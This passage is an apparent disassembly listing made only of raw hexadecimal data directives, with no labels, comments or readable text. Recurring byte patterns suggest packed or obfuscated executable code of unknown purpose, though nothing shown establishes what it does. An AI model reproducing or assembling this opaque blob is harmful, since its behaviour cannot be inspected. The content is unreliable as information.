0A3A85798h, 0CDD41F66h, 2D5CCFD6h dd 0D8695D41h, 7836279Bh, 97DB5D0Fh, 5DCE3975h, 6FD397DBh dd 0B6FC5119h, 4352D443h, 3C27DE5h, 0E91A039Ch, 611E612Ch dd 5D529DE9h, 1B4F97DBh, 8325497Ah, 0FE9DE677h, 9B36FD4Ah dd 3A3990D5h, 8624Eh, 0C7367200h, 0BE054E23h, 90DDA77Ah dd 49BAF99Ch, 2792D0B5h, 5D2B20C3h, 0AB4EA217h, 8E6387E8h dd 0DBBE72C9h, 5AD62A9Bh, 0E6D01F93h, 0D2CD91EBh, 8F7B3BC3h dd 0DB0FB4E3h, 0ADF0A997h, 0A95DD542h, 8CD73425h, 3A1F5223h dd 4B8C0B7Ah, 0E744B40Eh, 3A6F9538h, 91D009B6h, 1D60B926h dd 0D0AD25D2h, 6A2F2DF9h, 78EC621Dh, 6450421Dh, 6851D51Ch dd 0E09FE0A3h, 1B6D176Eh, 0E66B7B9Bh, 16Dh, 0E05312F7h dd 3B4AB5F9h, 0E35797DBh, 0C2253392h, 28722029h, 0ED9DE655h dd 2B9D9968h, 37BB0224h, 0BDADFE88h, 32D191F0h, 11311B60h dd 3A8C71A7h, 0C1000001h, 0C52A6BD0h, 0F0B57EA9h, 0A6FF6391h dd 0A7B3B47h, 0A50C548Dh, 352BB241h, 0DB0F0E79h, 63ACFC97h dd 586BAF90h, 6F9E0236h, 0E600C103h, 930C349Dh, 0F007A4E7h dd 693DD891h, 0A6673A0Ch, 2C8771h, 71D60000h, 53B2C330h dd 2029C225h, 0E6268072h, 32AD959Dh, 0F0190744h, 95727B91h dd 74FA65CEh, 3B40522Dh, 71A67951h, 0B7ACh, 7B3BC300h dd 0E548D0Ah, 0F55B2BBh, 0ECB53DBAh, 9DE4AC75h, 417F36Ch dd 123B2BBBh, 0AEDFCC83h, 0DB3797C0h, 5681ED97h, 4B97DB37h dd 0A8C97107h, 0DE52A3E3h, 0DB1B7292h, 85ECB497h, 900B9261h dd 0E8E40569h, 34219DE5h, 3979DF9Fh, 74FE49C8h, 0CFE0E99Dh dd 26FB4A0Ah, 0E066115Ch, 4BBE8491h, 125D5142h, 0F91F631h dd 997C3A5Bh, 24C16EDBh, 1790D795h, 6C95C28h, 9DD90000h dd 6C35C82Ch, 440EE307h, 216005F9h, 0F9BF52D6h, 429B688Ch dd 0F70B7EC4h, 8EC4F12h, 27DB3075h, 7FB30242h, 4BB4FAF3h dd 5691EBE5h, 7D3B6AB5h, 5111F408h, 58BD0CE0h, 75C8A918h dd 62077B3Bh, 9CCB586Fh, 0BA9F188Ch, 39778BFAh, 47h, 6C2AEFD6h dd 89E89E19h, 475EFAA4h, 0D7C9A5D4h, 0CA9DE8E1h, 0E12491D7h dd 16AE529Fh, 0D5C86AABh, 5A5F535Ah, 209BD83Bh, 0AF289DDBh dd 5A0E5A3Bh, 9E83AA53h, 3CD65D55h, 6551A185h, 5A3B5450h dd 3B7EC0h, 0EF2D0000h, 0B486C2Ah, 1B8F08BCh, 831C837Ah dd 3C72149Ah, 77689DE6h, 0F003CC3Bh, 869D191h, 630F88B0h dd 91F0132Fh, 8F878F48h, 18968718h, 6432DF76h, 65A3470Bh dd 8Ch, 0D676EF2Ah, 237F6A2Ah, 574E455Ch, 29D9D5C4h, 3C9DE8B8h dd 1E171234h, 0EFF49E7Dh, 71ABE59Dh, 5B78h, 2E447500h dd 91EB80E1h, 0DE2D74FCh, 2029C225h, 0E8E14D72h, 0F6E8509Dh dd 0C219FA3Bh, 3CC18BD0h, 351C71ACh, 33000000h, 2029C225h dd 0E8E14C72h, 0E0E9519Dh, 3E449C47h, 0DABB5522h, 6E0233FEh dd 0FD22DD28h, 1CE49B2h, 0D9989C86h, 8358FA6Eh, 0C580CA93h dd 0D5D71ABh, 0F2000000h, 0DB231492h, 3C7D0B97h, 12FFFFFFh dd 4672AEFh, 978E179Bh, 6E9F10h, 9DE8E1ACh, 0FB620DB6h dd 216BA834h, 1F0D7A38h, 281091EBh, 591AFF49h, 0F4E56DEAh dd 0EB1F71BEh, 70E46C91h, 2DC38C49h, 0E9611E63h, 0E2251C65h dd 0C11F6DFBh, 0CB30B3B7h, 0BBF388Dh, 84EA1387h, 9BD8D211h dd 9FE6AE6Bh, 0B1176EE0h, 27116584h, 22D60C27h, 0F06B72B5h dd 9105A5C9h, 49409DE8h, 0D3F8B30Bh, 644697DAh, 5FC347F0h dd 97D83D2Eh, 5A3BAF28h, 6B8FF4BDh, 939A1588h, 0D8D79F1Fh dd 0BE879A9Bh, 7FDCCD71h, 0FD29CD3Ah, 0EFE23EE3h, 0AB8D40F9h dd 0BF58103Fh, 2FA81B5Ah, 753DDABBh, 2FEC1D0Ch, 0EF631C69h dd 0FD035483h, 0CC01490Fh, 95613087h, 4D10B0F0h, 49FD75E2h dd 1F9017CEh, 4A280EEh, 32D705C0h, 0A30E5074h, 9A0EB234h dd 4155CC1Dh, 46BA0B4Bh, 0A362CE77h, 0D3AEFA36h, 3B90D5C2h dd 0D51A5BBCh, 0D11E67A4h, 728AD26h, 35C650DEh, 9841F081h dd 29EE69D8h, 0F19F1869h, 0FC450012h, 3E7B7125h, 135035C9h dd 47CE3BA4h, 0E6D2C09Fh, 0E6232AA1h, 25AD2AA1h, 41509FE0h dd 0BC252675h, 276FB02Fh, 54B321DEh, 8D4B544Eh, 227079C2h dd 97DB0FF5h, 0CDFC60E8h, 0F69D6DCh, 0CC7497DBh, 502DBE55h dd 4E57D5B2h, 64CD9568h, 0D36DA762h, 63B42394h, 9704D121h dd 24B2578Ah, 5C8E07B0h, 0DFC32443h, 0F79F78B4h, 9D8966D0h dd 0D66ED79Fh, 0FAB882C3h, 97DB9C8Dh, 9C4CBBF7h, 0E95197DBh dd 0B02FD387h, 0DB9C99C6h, 0B2603F97h, 79BBFD46h, 6E0541DEh dd 0AE199584h, 0B397DB32h, 2E71B8Fh, 3949F645h, 97DB32D3h dd 999F8758h, 5B84EADCh, 4697DB32h, 0FB30443h, 0B92B679Bh dd 4E97DB12h, 7B7B93E4h, 0D4DACB6Bh, 97DB1A6Bh, 95B3C276h dd 0FFFFFF4Ah, 682AEFCAh, 0FA51280h, 0B0B897DBh, 0E0A0750Ch dd 445F909Ch, 4B56286Eh, 0C351C03Dh, 0C58346E2h, 0DF43C770h dd 0E6FE465Bh, 0ADA3579Eh, 0A3A50C54h, 0D6C2D04Fh, 83CCA28Eh dd 9E97DBDEh, 149E26AAh, 6B7C3422h, 73FFh, 0D1DDCE00h dd 97DBD266h, 5FAEF77Bh, 3B78C225h, 5D5158CCh, 9DE8E158h dd 0EFB1D45h, 0DB2A6A04h, 75BAFB5Ch, 0B3633CCAh, 0BF673014h dd 0BEAF40A7h, 0BF0A488Dh, 3B6598E6h, 661F9BD8h, 6B2CA154h dd 0EBF11169h, 0EAFB1998h, 0C1AC4993h, 0ED910BBAh, 0E5893494h dd 97DBA7BAh, 1E0FB3A7h, 0A75681EDh, 462C97DBh, 97DBA719h dd 64A5C04h, 3F99E77Fh, 36000000h, 2029C225h, 4B2A9BDBh dd 0E1E1149Ah, 0E29B9DE8h, 2654F7ACh, 3692E3BAh, 38AC1153h dd 2F38EB26h, 55484250h, 0DADFD3DAh, 0A09BD853h, 402E1C5Bh dd 97DB6717h, 25D2460Ah, 0CC74D4ADh, 7B3B1774h, 0C548D0Ah dd 6661EEA8h, 0EB9F98FEh, 0EB6025E2h, 0C4337F6Ch, 0D997DBEDh dd 0A694ED91h, 2851CADDh, 0E6EB084Ah, 0CA75FD9Dh, 0F0EC6FBCh dd 2EF41391h, 0A741F345h, 25CE71h, 257D0000h, 722029C2h dd 9DE62680h, 5FBCAD95h, 96C9A815h, 0F019A3E8h, 5240DF91h dd 0A6793F09h, 0D19A71h, 3BB10000h, 548D0A7Bh, 0DB3CBB0Eh dd 74AD2A9Bh, 0E521C52Ch, 97DB347Dh, 0A5F3960Fh, 0B3F1D895h dd 46D35E2h, 7723015h, 0AB8F1698h, 36278ED6h, 0B22D8ED1h dd 0C6C30031h, 34B87113h, 0AC33F26Dh, 0AE640A33h, 3C9DE647h dd 4F2397DFh, 1BAF3370h, 3D8BEA9Eh, 9B02F135h, 12951900h dd 889BCE98h, 666E581Fh, 0A327D01Bh, 45D97032h, 2F76C180h dd 776891D9h, 0DD9DCC3Bh, 869D197h, 0C13472D7h, 0BF0A482Dh dd 0B0E9FF30h, 3745F08Ah, 19Fh, 0E61A7337h, 39FD4203h dd 53D71A64h, 688CF7BEh, 867ACF95h, 541268EDh, 25680DE1h dd 64326DAh, 0D8987DB1h, 0D0999569h, 0EBFF95C2h, 84978891h dd 0F4087D3Bh, 91DED4C5h, 8C97DB0Fh, 98D8BDC4h, 2586D529h dd 0CC3B78C2h, 222BDF53h, 0E626864Ch, 30AF939Dh, 0F0190546h dd 889A7991h, 40B5F358h, 79410B31h, 0DE3B71A6h, 34542D98h dd 0BEh, 0A7B3B6Bh, 0A81C603h, 0BB2491D7h, 2EF36E37h, 14621D68h dd 97DB346Ch, 323B8ACAh, 6249089h, 2F7695C5h, 87EEB64Bh dd 6B361318h, 82139700h, 929B148Bh, 3ADEA461h, 188E097Ch dd 0E3A10D94h, 719DE692h, 0E5DE2FC8h, 652E1E9Ch, 65E9611Eh dd 6084CC1Ch, 6A930C93h, 0CE894204h, 828BBF9Bh, 84EBB491h dd 0BE5A18FDh, 121B8FF6h, 7A1B7035h, 87C80DBCh, 0F6BC5938h dd 511D2483h, 231E8AB1h, 0AA55h, 0F7E3A00h, 0E64D16EBh dd 0D8256F02h, 0B1024124h, 6FDA987Dh, 2563F88Bh, 7316EA5Fh dd 562BCF30h, 0A346BA11h, 929E92E3h, 0FE68D7DBh, 9A7591EBh dd 87D3B8Bh, 0E05111F4h, 7B3BDF0Ch, 0C548D0Ah, 0E4AC41A5h dd 0EB50999Dh, 55DD5AABh, 0BE074F4Ch, 0C45D7101h, 0D5D803AFh dd 56C13070h, 24EEC1D0h, 0E507030h, 3B234A3h, 116A50A8h dd 0A246CA22h, 0F3E87CFh, 9627901Eh, 363AE3A8h, 682FF06Fh dd 0D8B7601Fh, 723D1ACAh, 0E3A36809h, 0BBFB9E92h, 0BB86434Ah dd 422E2170h, 0Fh, 672AEF09h, 32179B04h, 13970073h, 3B54A782h dd 48910E7Fh, 0D93EB908h, 6FB02F9Ch, 0FB5CDB24h, 0ACF48BDh dd 997EF94Ch, 29EE69DAh, 449D1A67h, 0B30BB4FBh, 707568h dd 242C8900h, 0C581E589h, 4, 8704ED83h, 835C242Ch, 3C8904ECh dd 0E3895324h, 4C381h, 0EB830000h, 241C8704h, 240C895Ch dd 30DC3968h, 243C8B06h, 5404C483h, 83240C8Bh, 565204C4h dd 0F289FE89h, 851895Eh, 240C8B5Ah, 81E68956h, 4C6h, 4C68300h dd 5C243487h, 5F2434FFh, 0E904C483h, 0FFFB5DC3h, 7DEEA9FDh dd 0E852CFE0h, 0B8F08E1Fh, 630F1D0h, 0E0FFC503h, 27A891A8h dd 281B485h, 6107852Dh, 3E4A66C6h, 53A4289h, 4C3A99Dh dd 1C69D6Dh, 23144727h, 2DAF96D8h, 2DED5594h, 57536015h dd 51C2BEE6h, 5E173Ch, 3DF7419h, 391FB357h, 0C310CD2h dd 654C214Eh, 6EEAD5B6h, 72B249D2h, 17DCB8D7h, 7F72D73h dd 3E61CD7Fh, 1BA95A0Ch, 7D35AA77h, 54BB5E60h, 3976EFB6h dd 12CC57CCh, 0F32B8D8Dh, 0C28B0630h, 0EE18D89h, 8D29062Bh dd 62B0EA9h, 21E185C7h, 5F78062Bh, 0C7F50000h, 2B2BE585h dd 6, 0A9B58900h, 0FF062B25h, 2B0D45B5h, 66606006h, 81A418BBh dd 0E4C118F0h, 0C78B6127h, 3195FF61h, 6A062B27h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 0E684C357h, 95FF006Ah, 62B2945h, 5CEBC08Bh, 34EDA18Fh dd 1A5D0C4Dh, 865A5123h, 3E06EE10h, 8C90AB18h, 0C9280640h dd 1C63D0D7h, 0DBE8FED0h, 0D3A02996h, 0C262563Bh, 0BED7B731h dd 321B8A4Eh, 5B7E73C8h, 0C9613A6Fh, 0BCF5840Eh, 24DC85E1h dd 0B9092CF4h, 0F0771C18h, 0D1930E5Eh, 0BEA73C94h, 0E339951Eh dd 0E1862D45h, 93A978AFh, 0DE9h, 0BFE9A300h, 0E7339C43h dd 77h dd 91E90000h, 6800000Dh, 630F583h, 0FA8C0BE9h, 0F69B68FFh dd 1E90630h, 68FFFA8Ch, 630F827h, 0FA8BF7E9h, 0F9B268FFh dd 0EDE90630h, 68FFFA8Bh, 630FB3Ch, 0FA8BE3E9h, 0FD5568FFh dd 0D9E90630h, 68FFFA8Bh, 630FED8h, 0FA8BCFE9h, 0FFC568FFh dd 0C5E90630h, 72FFFA8Bh, 0C423DFE9h, 1473AF91h, 65827E40h dd 0B1CECAE2h, 0EE1B97A9h, 96A8AE2Bh, 6761FD1Ah, 310B4CABh dd 0FCDA9AF5h, 0A7B55A00h, 92DB3305h, 306FFC78h, 0F195142Eh dd 0AE1C781h, 4C9BBDB7h, 0C01993A1h, 0F26C94EBh, 76C6473Bh dd 4443EE79h, 0D3FD2C16h, 8AC6DE4Eh, 0E3AE3921h, 2650399Ah dd 0D2B0FF2Eh, 50DAA8EEh, 359B6AA3h, 6D3F61A7h, 0A9B742EDh dd 6D3F6107h, 3C25E47Ah, 7F501A48h, 6FF4776Bh, 0D6000000h dd 2F190271h, 0E7C90E53h, 0A8C53526h, 0CBFD603Fh, 0A0AF5EE0h dd 0C61A9D94h, 46019C8Ah, 69C4A766h, 3E19D15Bh, 1EBAA46Dh dd 0E5C5C2B1h, 4B00BA8Fh, 0F19CB342h, 3E3C49E3h, 0EB223C6Dh dd 3E3C57E5h, 97F21D6Dh, 132FFCC0h, 0F99D619Ah, 760B2C8Ah dd 8BE4127Dh, 1EEDD7h, 7640E89h, 0FF18776Ch, 31000000h dd 0E21496A2h, 0F1696D3Eh, 12719238h, 89917A4Ch, 61470100h dd 2A23378Ah, 0EBC06C1Eh, 0E79E194h, 0D48AF4C8h, 0AE17DD6h dd 4C9BBDB7h, 0CE1993A1h, 0F4006B14h, 6B14CE7Ah, 0B6A8130Fh dd 1F59A477h, 16D3FD39h, 0E56B14D5h, 2E494563h, 9B152336h dd 0EE6B14C9h, 46F7D470h, 0C36EF9F6h, 36C838D4h, 25E4E67Dh dd 39F89EABh, 0AD69F175h, 0B8274CBCh, 0D0091ACh, 3B49E473h dd 674D81B1h, 913E5AC4h, 545573F2h, 4678DEBDh, 0C0352D4Ah dd 0CF5EB180h, 0CD7F8D20h, 80674D04h, 5CE6029Eh, 5059B3F0h dd 1EA5AC7Fh, 200000Bh, 54B36F59h, 0A4C33F01h, 0F5128EB0h dd 415E5A72h, 9EEB2719h, 26183EDBh, 0F7D18DEAh, 417BDC3Bh dd 0C2A2A45h, 1725CA90h, 92DB3595h, 81546CE8h, 0D78E7D9h dd 0F11F03A3h, 94EB037Fh, 7230C12h, 0A91594C1h, 0A730164Eh dd 3C620C18h, 0D58B94EBh, 971608F3h, 1F6FB72Bh, 727785D2h dd 618AC6EAh, 511AF332h, 0F039B468h, 0E7A22D2Dh, 0DF63486Ch dd 0E3715F2Eh, 0A96D3F0Ch, 6A5E039Eh, 10C6BAA3h, 7E727465h dd 8E7F39CEh, 6B4E5F0Bh, 0C80777h, 81C30000h, 0B70AE1C7h dd 1F3299A3h, 0EBDD80h, 20018F7Eh, 4394EBDBh, 3B06A8B4h dd 247B6B14h, 0A3BF0C36h, 0F97B8607h, 8CC423DFh, 3BE18B99h dd 8A946B14h, 60D09D6Eh, 92C9C413h, 0C8D47BB2h, 75391EB9h dd 0DF4E4AD4h, 46D5026Fh, 0BF8EEF5Bh, 3F8A1F91h, 83EC726Dh dd 0D5D4FE47h, 0D32D1BBh, 0ED7AE473h, 0CDD2535Eh, 0F9091C68h dd 5769F130h, 0F31A3C5Bh, 0C8534373h, 8B39558Dh, 5059AF23h dd 6C48F5Ch, 1A00000Ah, 6C8B0741h, 0BCDBD7E9h, 0D6AA698h dd 59B6724Ah, 0B6C33F01h, 3E0056C3h, 8FB9A5C2h, 5963F413h dd 2402425Dh, 0F1D32E8h, 92DB367Dh, 713C1410h, 0BBBA4F12h dd 94304E9Dh, 72540A15h, 391F59B6h, 0C781D9FDh, 0BDB70AE1h dd 9EEE1F9Bh, 0C7B0651h, 0F9DF50A1h, 2DA36A4Bh, 8AC6E59Ch dd 0B5E06FF3h, 0A49C77AEh, 0C9C1B582h, 23D95361h, 0B2AC6D3Eh dd 49049716h, 532C0A4Ah, 48D6350Fh, 23A24F41h, 0A516D3Eh dd 0D58AD13Ah, 94C918F3h, 7C05EAB0h, 0EA4F79DFh, 0D7AB4A4Eh dd 6C47BFABh, 6926777h, 5DE80000h, 0C526183Eh, 0A201ABB5h dd 0EA746D3Eh, 1F6FA723h, 367785D2h, 498AC6D8h, 48D6FAD1h dd 0B96D3F38h, 34E9DA3h, 3F387BF5h, 37100E6Dh, 0C1B3183Ch dd 1D81685Ch, 0FBDD97F2h, 2A310E10h, 60A9B11Ah, 9BD703C7h dd 43776BD5h, 644h, 0E11F6F8Fh, 0EBC059D3h, 0F3012C94h dd 94EBC079h, 5AF6120Ch, 8E62FF0Dh, 0F2818AC6h, 3F0D44E6h dd 8AA2A56Dh, 0BCA21921h, 5BB0AE4Dh, 3F0DE775h, 0B094AD6Dh dd 6BAAE882h, 0A9ABE677h, 1891E8Fh, 55000006h, 0E656B54Eh dd 9430164Ah, 8D983D4Bh, 0B3AF8AC6h, 0E2BAE974h, 1A94A013h dd 6F6D3F28h, 104784F3h, 0E6C681DEh, 1CB47505h, 0F92412F5h dd 7AE50A7Ah, 796EE76Eh, 3B908EE7h, 2AB5BA0Ah, 52344F1Eh dd 0F58C6EDh, 3AF6D090h, 37BD9BDDh, 0E29704A9h, 7A4A1DCEh dd 0A6000008h, 0F81793B5h, 48A76365h, 99F63214h, 0E502FEDEh dd 224F4B7Dh, 4A7CE27Fh, 1B2D314Eh, 0E5DF809Fh, 0B096CE29h dd 7B89A674h, 92DB38F1h, 71A88084h, 8DB7A7E2h, 0B436203Eh dd 0C994EBC0h, 0F495851h, 18F3BE29h, 9D73F65Dh, 6801ABB9h dd 0EA7494EBh, 5676F14Eh, 2797C457h, 0E20E9DCAh, 94EB6848h dd 65EC1D3Dh, 0DC656657h, 2136558Ah, 2A4678DCh, 7CDEB9C1h dd 0BEA0434Ah, 75F65442h, 0A6C46D24h, 0D2F46A29h, 698CC4DBh dd 7AB6D2F2h, 305C84F3h, 6D2475BEh, 0A4334FD3h, 24751E98h dd 1CEF736Dh, 0E26287C1h, 0E36CA8C4h, 0A6044B4h, 7CDA6F90h dd 0DC2A15FBh, 9BDAB59Ah, 0A6444CBDh, 376D24A6h, 85E21E22h dd 0CA06E5C3h, 6D24563Ch, 5967F259h, 6D24B6D7h, 0DDE777AAh dd 0D658F641h, 704FC92Ah, 0F6BC80B9h, 0B35C587Eh, 0C4C57924h dd 125081A5h, 24C4AA44h, 0F443DF6Dh, 527EB290h, 0EF32FBD4h dd 54785375h, 6D2430C6h, 0B9F639Ah, 0BE305C49h, 4F6D2410h dd 4BD73408h, 5652EE70h, 138CDh, 1271B500h, 6EDDAB4Eh dd 62D9B165h, 5455E5C6h, 0DE2D0B4Dh, 8BA70473h, 0D0EB12EDh dd 0EB162AC4h, 0A7C35F94h, 2461B66h, 0C4F7A2A9h, 66F38A96h dd 0EB850B82h, 294EBDFh, 9CFB6442h, 142A81BBh, 0E5550695h dd 6AEF084Bh, 49E57556h, 36F7A22Dh, 26101C94h, 77858C7Dh dd 8ADC1246h, 6FF30119h, 804A308Ch, 6EFF853h, 2A330000h dd 0DE85E21Eh, 8FD532EEh, 23227DB9h, 0E86E8905h, 0E8AFDAD6h dd 0D5D1EB6Fh, 6AA6A0BAh, 0B470540Dh, 0C33F195Bh, 44E6F219h dd 3992DB39h, 0C781273Bh, 0A6052322h, 50AF7C98h, 9FF8340Eh dd 0ED0A86BAh, 0C6514D6Bh, 5BB094CBh, 0CF6B4D04h, 0A59FC3DEh dd 812C4F3Ah, 0EB5472F2h, 64A53058h, 32144A91h, 0F1D58ED9h dd 67A3A5BDh, 97A4F670h, 0A3B9D47Dh, 0AAC6F85Eh, 209663h dd 71300000h, 0C054D6E2h, 312994EBh, 0EF3C0256h, 9AB35A53h dd 2C000000h, 0C0F97381h, 928C94EBh, 12717F1Bh, 71B0794Fh dd 0D6FAD1F7h, 94EBD048h, 891DE114h, 0D5302ACFh, 0CC52B98Fh dd 7F9814B0h, 1A79E6DAh, 0F98C7D5Bh, 143046D3h, 0F4C86D6Bh dd 6BA799BEh, 0E4D88177h, 5EA7B807h, 46E8F4F9h, 3B94EBC0h dd 9C6F8B27h, 0DD831E4Dh, 0BD0E2828h, 94AA019Dh, 6218EC15h dd 0DF396F37h, 39F0F36Bh, 0D58C71E6h, 0EA0618F3h, 16B5A02Eh dd 0D08794EBh, 7D97A293h, 0FFFE854Dh, 0D79702FFh, 0C769770Ch dd 0BA94EBE4h, 0B62BDBA4h, 75C5C1C8h, 2F4h, 0E1C7816Dh dd 0ACB8470Ah, 94EBC002h, 0AE22EB77h, 94EBC010h, 0C7EBDF56h dd 106FAB8Dh, 0AAE97650h, 243A91B7h, 3CBA16E5h, 0CD94EBC0h dd 7722AD8Bh, 8FE74A07h, 8E1D8CF8h, 80C36DDDh, 0B093DBA4h dd 252058D3h, 0D4B35E89h, 0CD6DBE80h, 1989B4DCh, 42DC8ADCh dd 3097BC30h, 2128FB4Ah, 565h, 68A4A0BDh, 0B874480Fh, 0CBC7F95Fh dd 1793B5ACh, 0A05C66F8h, 61F96255h, 1644A35Fh, 0C297F02Ch dd 63E502FEh, 7C934945h, 0DB3BDE50h, 9DB5B392h, 8140271h dd 8968C35Eh, 5B52EECEh, 0C12A0C44h, 75E2E47Ah, 2AB85806h dd 0A833FF2h, 0E2DCCB54h, 1460A0FAh, 77546AEEh, 435E4FEBh dd 8CEB2701h dd 0C41BF0CAh, 0F043A892h, 2F33774Bh, 6C069915h, 107D9789h dd 21Ch, 0D3206FB2h, 72520984h, 75088199h, 0ED5C4BD6h dd 2242A3F4h, 2931DCBh, 78E694EBh, 3071FB1h, 829939Ah dd 0A06C0634h, 0ED107EA8h, 0B2000001h, 84D3206Fh, 0EBC0F678h dd 34978B94h, 0CC7E8A19h, 8194EBC0h, 0A4601099h, 8E939AC1h dd 0B679377h, 0B37EA7DFh, 1C4h, 0D3206F1Fh, 0C0F27884h dd 938F94EBh, 0F1124944h, 0D13A5676h, 1FCD4049h, 939AC107h dd 12F9CF92h, 56B58FCFh, 2EC185BCh, 4B774BEAh, 7EA7DF1Fh dd 18FC7h, 550D8800h, 7869873h, 0D3206F83h, 0C0FE7884h dd 8F9394EBh, 0C174903Ch, 5905939Ah, 1B419C6Fh, 0D8E8F2F6h dd 912DB350h, 8E72EB3Ah, 9D28C7DBh, 0FA2FFD8Fh, 1F8E9095h dd 7AF422E6h, 227EA8CCh, 14Ch, 0CA6C7827h, 1DCE745Ah, 0C781EEECh dd 0BDB70AE1h, 9EEE1F9Bh, 67FA0651h, 3E8AC6DEh, 644761E3h dd 7F6DBEDAh, 6D3F3ED1h, 78A69A9Bh, 776BDBEEh, 3696h, 2CBB00h dd 6D3F366Eh, 88E7FE3h, 85D21F6Fh, 82C69BF6h, 0EA6C850Bh dd 7FE38AC6h, 9BADB5D0h, 2CFF2E30h, 3F2912A0h, 0E5D9586Dh dd 6BC2ADB9h, 0A35177h, 817D0000h, 0B70AE1C7h, 0EF3299A3h dd 25785375h, 1F890523h, 94EBDB22h, 1591B7B1h, 0C0D58F0Ah dd 143B3AB4h, 0B7D34F6Bh, 694F0954h, 0A960FC82h, 0BC2B48B8h dd 3AE058F1h, 0FFE2C5Fh, 44167500h, 15058B02h, 387526DAh dd 85DAB926h, 0C8C74A43h, 1770AC96h, 106BAA43h, 0D8FE37F9h dd 0B2C836BCh, 20F34A2Dh, 34C29h, 0BD87D400h, 0D332641h dd 0DCE27691h, 0A88CC720h, 754F136Ch, 108D4CB9h, 5FB8744Eh dd 0AEC9C5FFh, 0FC1B97A9h, 0F4A66244h, 3DA74957h, 5EDA92DBh dd 24D9817Ah, 32EE0A2Ch, 79B593D5h, 0E1C78165h, 9BBDB70Ah dd 0C0E0711Fh, 8DFD94EBh, 0C298F760h, 7B060980h, 8B02241Ch dd 0C6F3A805h, 83C4B38Ah, 114041D1h, 0C555D8D1h, 4FE10F9Ah dd 26D3F75h, 756F012Fh, 7CE26D3Fh, 617529E0h, 5832C781h dd 3D9F321Ch, 0C219F20Eh, 0E168A482h, 40C18F91h, 0FCC89E81h dd 0BFB807BAh, 9E3A5615h, 91244231h, 0A26C5BEEh, 41D8E46Bh dd 5C8AC659h, 55E3E9C2h, 1F6D3E45h, 7AF422E6h, 58776C62h dd 0C9223A3Dh, 48A378B1h, 0A4000000h, 62496FE9h, 6FA92DDCh dd 0A2A2E11Fh, 4D1B2784h, 94EBC0A3h, 0A32C48D6h, 0C6EA9C95h dd 0E4F09F8Ah, 6D3F294Ah, 0BEA233Fh, 8A18B417h, 0C06D3F29h dd 45214D31h, 83776BC3h, 2546E8F4h, 273B6D3Fh, 0D811E6h dd 81BD0000h, 0B70AE1C7h, 0C3055AA3h, 7FF944A7h, 352F7259h dd 28099713h, 0BB94EBDBh, 55309FB9h, 5C66F80Dh, 0A15C9C0h dd 18F3D58Fh, 0F8788706h, 435E0DDEh, 0BEC02B1Dh, 16EDE4Fh dd 77B7CAD6h, 50CE7539h, 865D554h, 0A781C0DFh, 6822C38h dd 6BF76D3Fh, 8500AFA2h, 7806E5C3h, 0C6151FB1h, 2638730Dh dd 4284DAB9h, 0F312946h, 597283E5h, 0C08B5850h, 1C9h, 0C4C00459h dd 1490B4ABh, 0A76365FBh, 0F32F0948h, 3CF8C294h, 0CD950EF1h dd 7AE03FFBh, 2E334C48h, 0C7819E1Ah, 0D87725E1h, 0DB3E22CCh dd 0F9D15792h, 78E7D981h, 0C02DDFEDh, 15AC94EBh, 0AE0F2BC0h dd 0FA332F8Ch, 9C69EB04h, 4B97DFD9h, 0CB14B0C0h, 0D8D41ADCh dd 9BA91303h, 94EB2D11h, 0AF5EFA64h, 1F6FEFF3h, 9BF685D2h dd 860A83C5h, 8AC6EA63h, 21AF7CE2h, 6D3F2993h, 366458D9h dd 776BC33Ch, 0A1E0h, 0C781E200h, 0A3B70AE1h, 0A39E3299h dd 2E94EBDBh, 7B941036h, 5F0CDFF9h, 265582EFh, 9A58EF12h dd 878A03A1h, 39516079h, 7FE03F75h, 0E3BE2945h, 1A614A7Eh dd 26E70345h, 62A0EF78h, 62C6F826h, 3D8DBE6Fh, 8C99A730h dd 0E3730D16h, 0ADB5D07Fh, 17514C9Bh, 0ED0AF831h, 0FBCD9075h dd 22BDD55Fh, 6DBE505Ah, 0DCFAh, 2D174400h, 0FDC396F1h dd 4C72E601h, 183C3750h, 0E5DF839Ch, 801DDC29h, 0CF28E4DEh dd 1E79B58Fh, 6C8B0739h, 4D6D2F4h, 3F57D9E7h, 2E2A92DBh dd 0E7D9810Ah, 0B294CC2Bh, 0C7816276h, 0BDB70AE1h, 65F01F9Bh dd 5F092F26h, 94EBC0ADh, 0DE4FBEA0h, 4BD6016Eh, 4E34E5Ch dd 0E4258998h, 0DCB6CDECh, 4D9E808Ah, 545076EEh, 0B01F393Bh dd 2EB98FD5h, 24476802h, 8C7D1D6Dh, 0B04FD3F9h, 0A0BA33B5h dd 7EF645A6h, 3B207358h, 0F871A047h, 90B6AE04h, 2E084847h dd 964CBDDDh, 0F2D9FF79h, 3B90B4AFh, 8CC7C249h, 4F861A8h dd 1490B6AEh, 0F4BB9C0Bh, 2D6D14F9h, 85A3A5FCh, 0E96C2B26h dd 0F27C88D7h, 8720ABC0h, 12FB129Bh, 54000000h, 0C031BBC9h dd 85D820ABh, 0E5D66843h, 5E16B475h, 0E8DC817Ah, 0A284BC03h dd 5B6DF249h, 17312D70h, 0CFF169B4h, 87B9A1FCh, 0BE9ED924h dd 744A0E6Dh, 33154897h, 895108D8h, 4C181E1h, 83000000h dd 0C8704E9h, 24248B24h, 45F768h, 24148900h, 2A7068h, 243C8900h dd 4AD5BE56h, 1EBA570Ch, 1AF24A9h, 24348BF2h, 4C481h, 8B540000h dd 0C483243Ch, 47186804h, 14890000h, 8478F24h, 52243C8Bh dd 0C281E289h, 4, 4C281h, 14870000h, 34FF5C24h, 0C4835A24h dd 7E86E904h, 0D483FFFAh, 3100C6B8h, 0FFC50306h, 33021FE0h dd 59744252h, 1041FE57h, 0D9196A36h, 0AF506764h, 0F5AAA437h dd 0D7258049h, 0BAE912h, 0BE3F0000h, 945191h, 50000h, 10000h dd 0A280000h, 20000h, 29h dup(0) dd 0BCCE9h, 3B86800h, 91E90631h, 68FFFA7Dh, 6310494h, 0FA7D87E9h dd 59B68FFh, 7DE90631h, 68FFFA7Dh, 6310600h, 0FA7D73E9h dd 75568FFh, 69E90631h, 68FFFA7Dh, 63107C7h, 0FA7D5FE9h dd 0B7F68FFh, 55E90631h, 68FFFA7Dh, 6310C8Fh, 0FA7D4BE9h dd 556FECFFh, 251B3E59h, 0F4CA8EE9h, 4064DF38h, 0D372B44h dd 28B56491h, 77900C36h, 0C621DDE7h, 1473AF91h, 0DCBE7A5Ch dd 0C28F214Fh, 46C292DAh, 0E1C78162h, 53DDEB76h, 2694EBC0h dd 0DF22F138h, 27DE8065h, 1CEF0B2Dh, 232AE602h, 52319ED3h dd 48D63513h, 1FA2CE41h, 